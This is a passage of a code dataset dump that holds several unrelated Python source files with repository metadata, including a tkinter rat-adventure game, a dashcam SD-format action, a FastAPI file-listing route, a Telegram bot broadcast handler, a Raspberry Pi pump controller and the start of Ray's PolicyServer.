20\r\n newFrame.place_forget()\r\n op1Frame.place_forget()\r\n op2Frame.place_forget()\r\n op4Frame.place(x=0,y=0)\r\n combatFrame.place_forget()\r\n\r\n#2.5\r\n#Save the game\r\ndef save():\r\n data = {'Health': hero_health, 'Damage': hero_damage, 'Defence': hero_defence, 'Map': world_map, 'Day': day, 'Daysentence': daysentence, 'X-coordinates': hero_x, 'Y-coordinates': hero_y}\r\n savefile = open('RatventureGame.json', 'w')\r\n savefile.write(json.dumps(data))\r\n savefile.close()\r\n messagebox.showinfo(title='Ratventure Message', message='Your Game Has Been Saved')\r\n menuFrame.place(x=0,y=0) \r\n\r\n# 3\r\n# Combat menu\r\ndef combat():\r\n global rat_health\r\n chance = randint(0,100)\r\n if 0 > chance and world_map[hero_y][hero_x] != 'H/T':\r\n rat_health = 10\r\n ratstats1Title.place(x=550,y=300)\r\n ratstats2Title.place(x=550,y=400)\r\n kingstats1Title.place_forget()\r\n kingstats2Title.place_forget()\r\n show_combat()\r\n \r\n if world_map[hero_y][hero_x] == 'H/K':\r\n kingstats1Title.place(x=550,y=300)\r\n kingstats2Title.place(x=550,y=400)\r\n ratstats1Title.place_forget()\r\n ratstats2Title.place_forget()\r\n show_combat()\r\n \r\n \r\n \r\n# 3.1\r\n# Attack \r\ndef attack():\r\n global rat_damage, rat_health, rat_defence, hero_damage, hero_health, hero_defence, king_damage, king_health, king_defence\r\n attackButton.place(x=450,y=600)\r\n runButton.place(x=1000,y=600)\r\n herowinTitle.place_forget()\r\n continueButton.place_forget()\r\n \r\n if world_map[hero_y][hero_x] == 'H/K':\r\n hdmg = randint(hero_damage[0], hero_damage[1]) - king_defence\r\n kdmg = randint(king_damage[0], king_damage[1]) - hero_defence\r\n if hdmg <= 0:\r\n hdmg = 0\r\n \r\n if kdmg <= 0:\r\n kdmg = 0\r\n\r\n king_health = king_health - hdmg \r\n hero_health = hero_health - kdmg\r\n if king_health <= 0:\r\n king_health = 0\r\n \r\n if hero_health <= 0:\r\n hero_health =0\r\n herodmgTitle.configure(text = 'You attacked the King for {} damage'.format(hdmg))\r\n kingdmgTitle.configure(text = 'The King attacked you for {} damage'.format(kdmg))\r\n herohealthTitle.configure(text = 'You have {} HP left'.format(hero_health))\r\n kinghealthTitle.configure(text = 'The King has {} HP left'.format(king_health))\r\n herodmgTitle.place(x=500,y=200)\r\n kingdmgTitle.place(x=500,y=300)\r\n herohealthTitle.place(x=500,y=400)\r\n kinghealthTitle.place(x=500,y=500)\r\n\r\n else:\r\n hdmg = randint(hero_damage[0], hero_damage[1]) - rat_defence\r\n rdmg = randint(rat_damage[0], rat_damage[1]) - hero_defence\r\n if hdmg <= 0:\r\n hdmg = 0\r\n \r\n if rdmg <= 0:\r\n kdmg = 0\r\n rat_health = rat_health - hdmg \r\n hero_health = hero_health - rdmg \r\n if rat_health <= 0:\r\n rat_health = 0\r\n \r\n if hero_health <= 0:\r\n hero_health =0\r\n herodmgTitle.configure(text = 'You attacked the rat for {} damage'.format(hdmg))\r\n ratdmgTitle.configure(text = 'The rat attacked you for {} damage'.format(rdmg))\r\n herohealthTitle.configure(text = 'You have {} HP left'.format(hero_health))\r\n rathealthTitle.configure(text = 'The rat has {} HP left'.format(rat_health))\r\n herodmgTitle.place(x=500,y=200)\r\n ratdmgTitle.place(x=500,y=300)\r\n herohealthTitle.place(x=500,y=400)\r\n rathealthTitle.place(x=500,y=500)\r\n\r\n if rat_health <= 0 or king_health <=0:\r\n herowinTitle.place(x=500,y=800)\r\n continueButton.place(x=600,y=900)\r\n attackButton.place_forget()\r\n runButton.place_forget()\r\n\r\n if hero_health <= 0:\r\n ratwinTitle.place(x=500,y=800)\r\n returnButton.place(x=600,y=900)\r\n attackButton.place_forget()\r\n runButton.place_forget()\r\n\r\n attackFrame.place(x=0,y=0)\r\n\r\n# 3.2\r\n# Run\r\ndef run():\r\n rat_health = 10\r\n runFrame.place(x=0,y=0)\r\n \r\n# 4.4\r\n# Randomizing the Orb\r\norb_y = 0\r\norb_x = 0\r\n\r\ndef randomize_orb():\r\n Placeable = True\r\n global orb_x, orb_y\r\n while True:\r\n orb_x = randint(0,7)\r\n orb_y = randint(0,7)\r\n if orb_x < 4 or orb_y < 4 and world_map[orb_y][orb_x] != ' ':\r\n Placeable = False\r\n\r\n else:\r\n break\r\n \r\n# Sense Orb\r\ndef sense_orb():\r\n global direction, orb_x, orb_y, hero_x, hero_y,hero_damage,hero_defence\r\n direction = ''\r\n if orb_y < hero_y:\r\n direction += 'North'\r\n\r\n elif orb_y > hero_y:\r\n direction += 'South'\r\n\r\n if orb_x < hero_x:\r\n direction += 'West'\r\n\r\n elif orb_x > hero_x:\r\n direction += 'East'\r\n \r\n if world_map[hero_y][hero_x] == world_map[orb_y][orb_x]:\r\n senseTitle.configure(text = '''\r\nYou have found the Orb Of Power!\r\nYour attack increases by 5!\r\nYour defence increases by 5!''')\r\n hero_damage = [2,9]\r\n hero_defence = 6\r\n new2Title.configure(text = 'Damage:2 to 9')\r\n new3Title.configure(text = 'Defence: 7')\r\n else:\r\n senseTitle.configure(text = 'The Direction of the Orb is {}'.format(direction))\r\n \r\n combatFrame.place_forget()\r\n runFrame.place_forget()\r\n attackFrame.place_forget()\r\n senseorbFrame.place(x=0,y=0)\r\n days()\r\n\r\n# Randomize Town\r\ndef randomizetown():\r\n counter = 0\r\n while True:\r\n townplace = True\r\n town_x = randint(0,7)\r\n town_y = randint(0,7)\r\n \r\n for x in range(-2, 3):\r\n starting_y = abs(x) - 2\r\n ending_y = abs(starting_y)\r\n for y in range(starting_y,ending_y + 1):\r\n if (x + town_x) > 7 or (x + town_x) < 0 or (y + town_y) > 7 or (y + town_y) < 0: \r\n continue \r\n \r\n if world_map[y + town_y][x + town_x] != ' ' or world_map[y + town_y][x + town_x] == 'K':\r\n townplace = False\r\n\r\n if townplace == True:\r\n world_map[town_y][town_x] = 'T'\r\n counter += 1\r\n if counter == 4:\r\n break\r\n\r\n# LEADERBOARD #\r\nleaderboard_list = []\r\ndef savingleaderboard():\r\n leaderboardfile = open('Leaderboard.json', 'w')\r\n leaderboardfile.write(json.dumps(leaderboard_list))\r\n leaderboardfile.close()\r\n\r\ndef loadingleaderboard():\r\n try:\r\n ldsentence = ''\r\n leaderboardfile = open('Leaderboard.json', 'r')\r\n leaderboard_data = leaderboardfile.read()\r\n leaderboard_list = json.loads(leaderboard_data)\r\n\r\n except:\r\n menuFrame.place_forget()\r\n runFrame.place_forget()\r\n newFrame.place_forget()\r\n op3Frame.place_forget()\r\n ldFrame.place(x=0,y=0)\r\n ldTitle.place(x=400,y=200)\r\n \r\n else:\r\n counter = 0\r\n ldsentence = '# LeaderBoard Ranking #\\n'\r\n for sublist in leaderboard_list:\r\n leaderboard_list.sort(key = lambda x : x[1])\r\n counter += 1\r\n ldsentence += '{}. {} took {} days to defeat the Rat King'.format(counter,sublist[0],sublist[1])\r\n leaderboardfile.close()\r\n ldText.configure(state = 'normal')\r\n ldText.delete('1.0', 'end')\r\n ldText.insert('end', ldsentence)\r\n ldText.configure(state = 'disabled')\r\n ldTitle.place_forget()\r\n menuFrame.place_forget()\r\n runFrame.place_forget()\r\n newFrame.place_forget()\r\n op3Frame.place_forget()\r\n ldFrame.place(x=0,y=0)\r\n\r\n#GUI\r\ndef show_new():\r\n combatFrame.place_forget()\r\n attackFrame.place_forget()\r\n runFrame.place_forget()\r\n menuFrame.place_forget()\r\n newFrame.place(x=0,y=0)\r\n \r\ndef modifiedshow_new():\r\n global day, health, damage, defense, world_map\r\n randomize_orb()\r\n menuFrame.place_forget()\r\n newFrame.place(x=0,y=0)\r\n health = 20\r\n damage = [2,4]\r\n defence = 1\r\n day = 0\r\n world_map = [['H/T', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', 'K']]\r\n days()\r\n randomizetown()\r\n\r\ndef restshow_new():\r\n menuFrame.place_forget()\r\n combatFrame.place_forget()\r\n attackFrame.place_forget()\r\n runFrame.place_forget()\r\n newFrame.place(x=0,y=0)\r\n days()\r\n\r\ndef show_menu():\r\n combatFrame.place_forget()\r\n attackFrame.place_forget()\r\n runFrame.place_forget()\r\n menuFrame.place(x=0,y=0)\r\n\r\ndef show_combat():\r\n combatFrame.place(x=0,y=0)\r\n newFrame.place_forget()\r\n runFrame.place_forget()\r\n\r\ndef backcheck():\r\n if world_map[hero_y][hero_x] == 'H/T':\r\n newFrame.place(x=0,y=0)\r\n op1Frame.place_forget()\r\n\r\n else:\r\n runFrame.place(x=0,y=0) \r\n op1Frame.place_forget()\r\n\r\n# Leaderboard Frame\r\nldFrame = Frame(window,bg = 'light cyan',width = 1920, height = 1080)\r\n\r\nldText = Text(ldFrame,bg = 'light cyan',height = 1920, width = 1080, font = ('Arial',20))\r\nldTitle = Label(ldFrame, text = 'Currently,no one has defeated the Rat King. Be the first one to do so!', font = ('Arial',30))\r\nbutton = Button(ldFrame,text = 'Back to main menu', width = 17, command = show_menu, font = ('Arial',20) )\r\nldText.place(x=400,y=100)\r\nbutton.place(x=1400,y=700)\r\n\r\n#option 1 frame\r\nop1Frame = Frame(window, bg = 'light cyan',width = 1920, height = 1080)\r\n\r\nnew1Title = Label(op1Frame,text = 'Name: The Hero',width = 14,font=('Arial',40))\r\nnew2Title = Label(op1Frame,text = 'Damage: 2 to 4',width = 14,font=('Arial',40))\r\nnew3Title = Label(op1Frame,text = 'Defence: 1',width = 14,font=('Arial',40))\r\nnew4Title = Label(op1Frame,text = 'HP: 20',width = 14,font=('Arial',40))\r\nbackButton = Button(op1Frame,text = 'Back',width = 14, command = backcheck,font = ('Arial',30))\r\n\r\nnew1Title.place(x=800,y=200)\r\nnew2Title.place(x=800,y=400)\r\nnew3Title.place(x=800,y=600)\r\nnew4Title.place(x=800,y=800)\r\nbackButton.place(x=150,y=800)\r\n\r\n\r\n#option 2 frame\r\nop2Frame = Frame(window, bg = 'light cyan',width = 1920, height = 1080)\r\n\r\nmapText = Text(op2Frame,bg = 'light cyan',height = 1920, width = 1080, font = ('Monaco',30))\r\nbackButton = Button(op2Frame,text = 'Back',width = 4, command = backcheck,font = ('Arial',30))\r\nmapText.place(x=500,y=200)\r\nbackButton.place(x=150,y=800)\r\n\r\n#option 3 frame\r\nop3Frame = Frame(window, bg = 'light cyan',width = 1920, height = 1080)\r\n\r\nupButton = Button(op3Frame,text = 'UP',width = 10,command = moveup,font = ('Arial',15))\r\ndownButton = Button(op3Frame,text = 'DOWN',width = 10,command = movedown,font = ('Arial',15))\r\nleftButton = Button(op3Frame,text = 'LEFT',width = 10, command = moveleft,font = ('Arial',15))\r\nrightButton = Button(op3Frame,text = 'RIGHT',width = 10,command = moveright, font = ('Arial',15))\r\nnewmapText = Text(op3Frame,bg = 'light cyan',height = 1920, width = 1080, font = ('Monaco',30))\r\n\r\nupButton.place(x=300,y=750)\r\ndownButton.place(x=300,y=800)\r\nleftButton.place(x=150,y=800)\r\nrightButton.place(x=450,y=800)\r\nnewmapText.place(x=800,y=100)\r\n\r\n#option 4 frame\r\nop4Frame = Frame(window, bg = 'light cyan',width = 1920, height = 1080)\r\n\r\nrestTitle = Label(op4Frame,text = 'You are fully healed',width = 20,font=('Arial',50))\r\ncontinueButton = Button(op4Frame,text = 'Continue',width = 8, command = restshow_new,font = ('Arial',30))\r\nrestTitle.place(x=600,y=300)\r\ncontinueButton.place(x=900,y=700)\r\n\r\n# Sense Orb Frame\r\nsenseorbFrame = Frame(window, bg = 'light cyan',width = 1920, height = 1080)\r\nsenseTitle = Label(senseorbFrame,text = '',width = 28,font = ('Arial',30))\r\nnextButton = Button(senseorbFrame,text = 'Next Day',width = 8, command = backcheck ,font = ('Arial',30))\r\nsenseTitle.place(x=800,y=300)\r\nnextButton.place(x=1400,y=900)\r\n\r\n# Combat Frame GUI\r\ncombatFrame = Frame(window,bg = 'light cyan',width = 1920, height = 1080)\r\nratTitle = Label(combatFrame,text = 'You Have Encountered A Rat! Attack Or Run!?', width = 60,font = ('Arial',30))\r\nratstats1Title = Label(combatFrame,text = 'Rat Damage = 1-3',width = 60,font=('Arial',20))\r\nratstats2Title = Label(combatFrame,text = 'Rat HP: 10',width = 60,font=('Arial',20))\r\nkingstats1Title = Label(combatFrame,text = 'King Damage = 8-12',width = 60,font=('Arial',20))\r\nkingstats2Title = Label(combatFrame,text = 'King HP: 25',width = 60,font=('Arial',20))\r\nattackButton = Button(combatFrame,text = 'Attack',width = 20,command = attack,font = ('Arial',30))\r\nrunButton = Button(combatFrame,text = 'Run',width = 20,command = run, font = ('Arial',30))\r\nratTitle.place(x=300,y=200)\r\nattackButton.place(x=750,y=500)\r\nrunButton.place(x=750,y=700)\r\nratstats1Title.place(x=550,y=300)\r\nratstats2Title.place(x=550,y=400)\r\n\r\ncombatdayLabel = Label(combatFrame, text = daysentence,width = 40,font = ('Arial',30))\r\ncombatdayLabel.place(x=600,y=50)\r\n\r\n# Attack GUI\r\nattackFrame = Frame(window,bg = 'light cyan',width = 1920, height = 1080)\r\nherodmgTitle = Label(attackFrame,text = '',width = 60,font=('Arial',20))\r\nratdmgTitle = Label(attackFrame,text = '',width = 60,font=('Arial',20))\r\nkingdmgTitle = Label(attackFrame,text = '',width = 60,font=('Arial',20))\r\nherohealthTitle = Label(attackFrame,text = '',width = 60,font=('Arial',20))\r\nrathealthTitle = Label(attackFrame,text = '',width = 60,font=('Arial',20))\r\nkinghealthTitle = Label(attackFrame,text = '',width = 60,font=('Arial',20))\r\nherowinTitle = Label(attackFrame,text = 'You have defeated the rat! Press Continue to Advance!',width = 60,font=('Arial',20))\r\nratwinTitle = Label(attackFrame,text = 'You have lost! Game over!',width = 60,font=('Arial',20))\r\nattackButton = Button(attackFrame,text = 'Continue Attacking',width = 30,command = attack, font = ('Arial',20))\r\nrunButton = Button(attackFrame,text = 'Run',width = 30,command = backcheck, font = ('Arial',20))\r\ncontinueButton = Button(attackFrame,text = 'Continue',width = 40,command = backcheck, font = ('Arial',20))\r\nreturnButton = Button(attackFrame,text = 'Continue',width = 40,command = show_menu, font = ('Arial',20))\r\n\r\nattackButton.place(x=450,y=600)\r\nrunButton.place(x=1000,y=600)\r\n\r\n# Run GUI\r\nrunFrame = Frame(window,bg = 'light cyan',width = 1920, height = 1080)\r\no1Button = Button(runFrame,text = 'View Character',width = 14,command = showstats, font = ('Arial',30))\r\no2Button = Button(runFrame,text = 'View Map',width = 14,command = map, font = ('Arial',30))\r\no3Button = Button(runFrame,text = 'Move',width = 14,command = move, font = ('Arial',30))\r\no4Button = Button(runFrame,text = 'Sense Orb',width = 14,command = sense_orb, font = ('Arial',30))\r\no5Button = Button(runFrame,text = 'Exit Game',width = 14,command = show_menu, font = ('Arial',30))\r\n \r\no1Button.place(x=800,y=200)\r\no2Button.place(x=800,y=300)\r\no3Button.place(x=800,y=400)\r\no4Button.place(x=800,y=500)\r\no5Button.place(x=800,y=600)\r\n\r\nrundayLabel = Label(runFrame, text = daysentence,width = 40,font = ('Arial',30))\r\nrundayLabel.place(x=600,y=50)\r\n\r\n#new game frame\r\nnewFrame = Frame(window, bg = 'light cyan',width = 1920, height = 1080)\r\n\r\nop1Button = Button(newFrame,text = 'View Character',width = 14,command = showstats, font = ('Arial',30))\r\nop2Button = Button(newFrame,text = 'View Map',width = 14,command = map, font = ('Arial',30))\r\nop3Button = Button(newFrame,text = 'Move',width = 14,command = move, font = ('Arial',30))\r\nop4Button = Button(newFrame,text = 'Rest',width = 14,command = rest, font = ('Arial',30))\r\nop5Button = Button(newFrame,text = 'Save Game',width = 14,command = save, font = ('Arial',30))\r\nop6Button = Button(newFrame,text = 'Exit Game',width = 14,command = show_menu, font = ('Arial',30)) \r\n\r\nop1Button.place(x=800,y=200)\r\nop2Button.place(x=800,y=300)\r\nop3Button.place(x=800,y=400)\r\nop4Button.place(x=800,y=500)\r\nop5Button.place(x=800,y=600)\r\nop6Button.place(x=800,y=700)\r\n\r\ndayLabel = Label(newFrame, text = daysentence,width = 40,font = ('Arial',30))\r\ndayLabel.place(x=600,y=50)\r\n\r\n#Main Menu\r\nwindow.title('Ratventure')\r\nwindow.geometry('1920x1080')\r\nmenuFrame = Frame(window,bg='linen',width=1920,height=1080)\r\nmenuTitle = Label(menuFrame,text = 'Welcome to Ratventure', width=21, font=('Arial',50))\r\nnewButton = Button(menuFrame,text='New Game',width=20,font=('Arial',30),command=modifiedshow_new)\r\nresumeButton = Button(menuFrame,text='Resume Game',width=20,font=('Arial',30),command=resume)\r\nexitButton = Button(menuFrame,text='Exit Game',width=20,font=('Arial',30),command=exit)\r\nldButton = Button(menuFrame,text='View Leaderboard',width=20,font=('Arial',30),command=loadingleaderboard)\r\nmenuFrame.place(x=0,y=0)\r\nmenuTitle.place(x=550,y=50)\r\nnewButton.place(x=730,y=200)\r\nresumeButton.place(x=730,y=400)\r\nexitButton.place(x=730,y=600)\r\nldButton.place(x = 730,y=800)\r\nwindow.mainloop()\r\n\r\n\r\n \r\n\r\n","repo_name":"Brayden-Choi/Ratventure-Game","sub_path":"S10205405H_Assignment_GUI.py.py","file_name":"S10205405H_Assignment_GUI.py.py","file_ext":"py","file_size_in_byte":26068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"9016086900","text":"from typing import override\n\nfrom absl import flags\n\nfrom m300_toolbox.actions.action import Action\nfrom m300_toolbox.http import Http\n\n\nclass FormatSdCard(Action[bool, None]):\n FLAG = flags.DEFINE_boolean(\n name='format_sd_card',\n default=None,\n help='Formats and clears SD card. '\n 'The light ring will flash blue and recording will be paused during formatting. '\n 'There\\'s a chance that the formatting will fail and the light ring will turn red.',\n )\n\n @classmethod\n @override\n def execute(cls, do_formatting: bool) -> None:\n if do_formatting:\n Http.get('sdcommand.cgi', {'format': 1})\n","repo_name":"XuZhen86/70MaiM300Toolbox","sub_path":"m300_toolbox/actions/formatsdcard.py","file_name":"formatsdcard.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"19"} +{"seq_id":"24206533044","text":"from api.utils.cow import CowTransfer, get_cow\nfrom fastapi import APIRouter, Depends\nfrom fastapi.responses import RedirectResponse\nfrom api.database.services import cache as cacheService\nfrom api.schemas.cow import CowListDirDocument\nfrom api.database.depends import get_db\nfrom typing import Optional\n\nrouter = APIRouter()\n\n@router.get(\n '/files/list/{path:path}',\n dependencies=[Depends(get_db)],\n tags=['files'],\n response_model=CowListDirDocument,\n summary=\"Get path file list\")\nasync def get_file_list(path: Optional[str], page: int = 0, cow: CowTransfer = Depends(get_cow)):\n path = f\"/{path}\"\n\n cache_data = cacheService.get_cache(path, page)\n if cache_data is not None:\n return cache_data\n\n\n api_data = cow.list_dir(path, page)\n cacheService.create_cache(path, page, api_data)\n\n return api_data\n\n\n@router.get(\n '/files/download/{guid}',\n dependencies=[Depends(get_db)],\n tags=['files'],\n summary=\"Redirect to file download link\"\n)\nasync def download_file(guid: str, cow: CowTransfer = Depends(get_cow)):\n return RedirectResponse(url=cow.get_download_link(guid))\n","repo_name":"5aaee9/CowDirList","sub_path":"api/route/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"34702579383","text":"from asyncio import sleep\n\nfrom aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton, CallbackQuery\n\nfrom data.config import ADMINS\nfrom loader import dp, _, bot\nfrom states import Mailing\nfrom utils.db_api import db_commands as db\n\n\n# Фича для рассылки по юзерам (учитывая их язык)\n@dp.message_handler(user_id=ADMINS, commands=[\"tell\"])\nasync def mailing(message: types.Message):\n markup = InlineKeyboardMarkup(\n inline_keyboard=\n [\n [InlineKeyboardButton(text=_(\"Да\"), callback_data=\"yes\")],\n [InlineKeyboardButton(text=_(\"нет\"), callback_data=\"no\")],\n ]\n )\n await message.answer(_('Вставить фото?'), reply_markup=markup)\n await Mailing.Photo.set()\n\n\n@dp.callback_query_handler(user_id=ADMINS, state=Mailing.Photo)\nasync def mailing(call: CallbackQuery):\n await call.answer(cache_time=30)\n if call.data == 'yes':\n await call.message.answer(_('Отправьте фото в виде изображения, а не документа!'))\n await Mailing.Photo_send.set()\n else:\n await call.message.answer(_(\"Пришлите текст рассылки\"))\n await Mailing.Text.set()\n await call.message.delete()\n\n\n\n@dp.message_handler(user_id=ADMINS, state=Mailing.Photo_send, content_types=types.ContentTypes.PHOTO)\nasync def mailing(message: types.Message, state: FSMContext):\n photo = message.photo[-1].file_id\n await state.update_data(photo=photo)\n await message.answer(_(\"Пришлите текст рассылки\"))\n await Mailing.Photo_text.set()\n\n\n\n@dp.message_handler(user_id=ADMINS, state=Mailing.Photo_text)\nasync def mailing(message: types.Message, state: FSMContext):\n text = message.text\n data = await state.get_data()\n await state.update_data(text=text)\n markup = InlineKeyboardMarkup(\n inline_keyboard=\n [\n [InlineKeyboardButton(text=\"Русский\", callback_data=\"ru\")],\n [InlineKeyboardButton(text=\"English\", callback_data=\"en\")],\n # [InlineKeyboardButton(text=\"Turkce\", callback_data=\"tr\")],\n ]\n )\n await message.answer_photo(photo=data.get('photo'), caption=_(\"Пользователям на каком языке разослать это сообщение?\\n\\n\"\n \"Текст:\\n\"\n \"{text}\").format(text=text),\n reply_markup=markup)\n await Mailing.Photo_Language.set()\n\n\n\n@dp.message_handler(user_id=ADMINS, state=Mailing.Text)\nasync def mailing(message: types.Message, state: FSMContext):\n text = message.text\n await state.update_data(text=text)\n markup = InlineKeyboardMarkup(\n inline_keyboard=\n [\n [InlineKeyboardButton(text=\"Русский\", callback_data=\"ru\")],\n [InlineKeyboardButton(text=\"English\", callback_data=\"en\")],\n # [InlineKeyboardButton(text=\"Turkce\", callback_data=\"tr\")],\n ]\n )\n await message.answer(_(\"Пользователям на каком языке разослать это сообщение?\\n\\n\"\n \"Текст:\\n\"\n \"{text}\").format(text=text),\n reply_markup=markup)\n await Mailing.Language.set()\n\n@dp.callback_query_handler(user_id=ADMINS, state=Mailing.Photo_Language)\nasync def mailing_start(call: types.CallbackQuery, state: FSMContext):\n data = await state.get_data()\n text = data.get(\"text\")\n photo = data.get('photo')\n await state.reset_state()\n await call.message.edit_reply_markup()\n\n users = await db.select_user_id(lan=call.data)\n for user in users:\n try:\n await bot.send_photo(chat_id=user.id, photo=photo,\n caption=text)\n await sleep(0.3)\n except Exception:\n pass\n await call.message.answer(_(\"Рассылка выполнена.\"))\n\n\n\n@dp.callback_query_handler(user_id=ADMINS, state=Mailing.Language)\nasync def mailing_start(call: types.CallbackQuery, state: FSMContext):\n data = await state.get_data()\n text = data.get(\"text\")\n await state.reset_state()\n await call.message.edit_reply_markup()\n\n users = await db.select_user_id(lan=call.data)\n for user in users:\n try:\n await bot.send_message(chat_id=user.id,\n text=text)\n await sleep(0.3)\n except Exception:\n pass\n await call.message.answer(_(\"Рассылка выполнена.\"))\n\n","repo_name":"akimovvv/telegram_studio_bishkek","sub_path":"handlers/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"26130377905","text":"from neotool.neotool_class import *\n\n\nif __name__ != '__main__':\n\texit()\n\nmaparg = neolib.listarg2Map(sys.argv)\ncmd = maparg[\"rt\"]\nmain_process(cmd,maparg)\n\t#\n\t# mapfunction = {\"strcpy\": SetClipBoard,\n\t# \t\t\t \"conv2java\": ConvertMapCs2Java,\n\t# \t\t\t \"makeNormalTxt\": MakeNormalTxtInClipBoard,\n\t# \t\t\t \"convuplow\": ConvUpperLowInClipBoard,\n\t# \t\t\t \"convdeftype\": ConvDefineStringClipBoard,\n\t# \t\t\t \"puttyrun\": PuttyRunNMove,\n\t# \t\t\t \"puttykill\": PuttyKIll,\n\t# \t\t\t \"drawMousePos\": drawMousePos,\n\t# \t\t\t \"UpdateSystemTime\": UpdateSystemTime\n\t# \t\t\t }\n\t#\n\t# cmd = maparg[\"rt\"]\n\t# print(maparg)\n\t# runobj = mapfunction[cmd](maparg)\n\t# runobj.doRun()\n\t# time.sleep(0.5) # delays for 5 seconds\n\t# exit()\n\t# i = 5\n\t# while i > 0:\n\t# \ttime.sleep(1) # delays for 5 seconds\n\t# \tprint(str(i) + \"second left\")\n\t# \ti -= 1\n\n\n\n\n\n","repo_name":"neo1seok/neoPyTool","sub_path":"neotool.py","file_name":"neotool.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"20239194610","text":"# 11 盛最多水的容器\n\n# 给你 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点 (i, ai)\n# 在坐标内画 n 条垂直线,垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0)\n# 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水\n# 说明:你不能倾斜容器\n\n# 输入:[1,8,6,2,5,4,8,3,7]\n# 输出:49\n# 解释:图中垂直线代表输入数组 [1,8,6,2,5,4,8,3,7]\n# 在此情况下,容器能够容纳水(表示为蓝色部分)的最大值为 49\n\n# 思路:容纳的水量 = 两个指针指向的数字中较小值 * 指针之间的距离\nfrom typing import List\n\n\nclass Solution:\n\n def maxArea(self, height: List[int]) -> int:\n left = 0\n right = len(height) - 1\n maxArea = 0\n while left < right:\n temp = min(height[left], height[right]) * (right - left)\n if temp > maxArea:\n maxArea = temp\n if min(height[left], height[right]) == height[left]:\n left = left + 1\n else:\n right = right - 1\n\n return maxArea\n\n\n# test\narr = [1, 8, 6, 2, 5, 4, 8, 3, 7]\nsolution = Solution()\nres = solution.maxArea(arr)\nprint(res)\n","repo_name":"HarryXiong24/code-collection","sub_path":"Data Structure & Algorithm/Algorithm/Two Point/zh/滑动窗口/11.盛最多水的容器/11.盛最多水的容器.py","file_name":"11.盛最多水的容器.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"zh","doc_type":"code","stars":11,"dataset":"github-code","pt":"19"} +{"seq_id":"72614298604","text":"#15. 3Sum\ndef threeSum(self, nums: list[int]) -> list[list[int]]:\n nums.sort()\n res = []\n def bina(arr,key):\n l , r = 0, len(arr)-1\n while(l<=r):\n mid = (l+r)//2 \n if key > arr[mid]:\n l = mid+1\n elif key< arr[mid]:\n r = mid-1\n else:\n return 1\n return -1\n print(\"yes\")\n for i in range(len(nums)-2):\n x = nums[i]\n for j in range(i+1,len(nums)-1):\n y = nums[j]\n c = -x -y\n\n if bina(nums[j+1:],c)!=-1:\n res.append([x,y,c])\n \n return res\n # fin = []\n\n # gastro = set(nums)\n # gastro = list(gastro)\n # nums.sort()\n # for i in gastro:\n # if i in nums:\n # nums.remove(i)\n # gastro.sort()\n # #now we have two lists\n # #1. with unique numbers\n # #with extra of uniques\n\n # #route one with inly sets\n # for i in range(0,len(gastro)-2):\n # for j in range(i,len(gastro)-1):\n # c = -gastro[i] -gastro[j]\n # if c in gastro[j+1:]:\n # fin.append([gastro[i],gastro[j],c])\n \n # for k in range(0,len(fin)):\n # fin[k].sort()\n # #return all unique answers\n # for i in range(0,len(nums)-1):\n # c = -nums[i] - nums[i+1]\n # if c in gastro:\n # if [nums[i],nums[i+1],c] not in fin:\n # fin.append([nums[i],nums[i+1],c])\n\nprint(threeSum(5, [-1,0,1,2,-1,-4]),3)","repo_name":"leonado10000/CP","sub_path":"leetcode/15. 3Sum.py","file_name":"15. 3Sum.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"13038898510","text":"import time\n\nimport RPi.GPIO as GPIO\n\n\nclass Pump:\n def __init__(self, pin):\n self.pin = pin\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(pin, GPIO.OUT)\n GPIO.output(pin, GPIO.HIGH)\n\n def toggle(self, val):\n if val:\n GPIO.output(self.pin, GPIO.LOW)\n else:\n GPIO.output(self.pin, GPIO.HIGH)\n\n def on(self, sec):\n self.toggle(True)\n time.sleep(sec)\n self.toggle(False)\n","repo_name":"ymmooot/raspi-plant","sub_path":"src/modules/pump.py","file_name":"pump.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"5192757528","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport time\nfrom http import HTTPStatus\n\nimport pickle\nimport sys\nimport traceback\n\nfrom ray.rllib.utils.policy_client import PolicyClient\n\nif sys.version_info[0] == 2:\n from SimpleHTTPServer import SimpleHTTPRequestHandler\n from SocketServer import TCPServer as HTTPServer\n from SocketServer import ThreadingMixIn\nelif sys.version_info[0] == 3:\n from http.server import SimpleHTTPRequestHandler, HTTPServer\n from socketserver import ThreadingMixIn\n\n\nclass PolicyServer(ThreadingMixIn, HTTPServer):\n \"\"\"REST server than can be launched from a ExternalEnv.\n\n This launches a multi-threaded server that listens on the specified host\n and port to serve policy requests and forward experiences to RLlib.\n\n Examples:\n >>> class CartpoleServing(ExternalEnv):\n def __init__(self):\n 